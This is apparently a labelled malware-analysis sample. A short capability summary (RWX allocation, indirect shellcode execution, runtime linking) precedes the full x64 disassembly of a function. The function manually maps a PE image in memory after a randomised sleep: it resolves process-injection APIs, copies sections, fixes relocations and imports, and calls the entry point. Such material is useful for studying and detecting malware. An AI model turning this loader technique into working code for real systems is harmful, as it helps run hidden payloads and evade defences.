Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push r12
push r13
sub rsp, 0x30
mov r12, rcx
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.WriteProcessMemory
mov rcx, rbx
mov qword [0x14000c510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateRemoteThread
mov rcx, rbx
mov qword [0x14000c518], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualFree
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CloseHandle
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x57619f1
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xbb8
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd r13, dword [r12 + 0x3c]
mov esi, 0x3000
add r13, r12
mov r9d, 0x40
mov r8d, esi
mov edx, dword [r13 + 0x50]
mov rcx, qword [r13 + 0x30]
call qword [0x14000c510]
mov rbp, rax
test rax, rax
je 0x140001268
mov r8d, dword [r13 + 0x54]
mov rdx, r12
mov qword [rsp + 0x68], r14
mov rcx, rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x60], rdi
call sub.VCRUNTIME140.dll_memcpy
movzx r14d, word [r13 + 0x14]
xor eax, eax
add r14, 0x2c
mov r15d, eax
cmp ax, word [r13 + 6]
jae 0x140001158
add r14, r13
nop word [rax + rax]
mov esi, dword [r14 - 8]
mov edi, dword [r14]
add rsi, rbp
mov ebx, dword [r14 - 4]
add rdi, r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, ebx
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8, rdi
mov rdx, rsi
call qword [0x14000c518]
movzx eax, word [r13 + 6]
lea r14, [r14 + 0x28]
inc r15d
cmp r15d, eax
jl 0x140001110
mov esi, 0x3000
mov r15, qword [rsp + 0x70]
mov r11d, ebp
mov r14, qword [rsp + 0x68]
sub r11d, dword [r13 + 0x30]
je 0x1400011de
mov rax, qword [r13 + 0xb0]
mov rbx, rax
shr rbx, 0x20
test ebx, ebx
je 0x1400011de
mov r9d, eax
mov edi, 0xf000
add r9, rbp
nop dword [rax + rax]
mov eax, dword [r9 + 4]
lea rdx, [r9 + 8]
mov r10d, dword [r9]
sub rax, 8
shr rax, 1
add r10, rbp
test eax, eax
je 0x1400011d3
mov r8d, eax
nop dword [rax]
movzx eax, word [rdx]
movzx ecx, ax
and cx, di
cmp cx, si
jne 0x1400011c9
and eax, 0xfff
add rax, r10
add dword [rax], r11d
add rdx, 2
sub r8, 1
jne 0x1400011b0
mov eax, dword [r9 + 4]
add r9, rax
sub ebx, eax
jne 0x140001190
mov rcx, qword [r13 + 0x90]
mov rax, rcx
shr rax, 0x20
test eax, eax
je 0x14000125a
mov esi, ecx
add rsi, 0xc
add rsi, rbp
mov eax, dword [rsi]
test eax, eax
je 0x14000125a
nop
mov ebx, eax
add rbx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140001274
mov ebx, dword [rsi + 4]
add rbx, rbp
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000124f
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 2]
add rdx, rcx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
lea rbx, [rbx + 8]
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140001230
mov eax, dword [rsi + 0x14]
add rsi, 0x14
test eax, eax
jne 0x140001200
mov eax, dword [r13 + 0x28]
add rax, rbp
call rax
mov rdi, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rsi
pop rbp
pop rbx
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_load_module:
call fcn.1400014d0
mov rcx, rax
mov rdx, rbx
call fcn.1400014d0
mov rcx, rax
lea rdx, [0x1400016b0]
mov rdi, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rsi
pop rbp
pop rbx
jmp qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]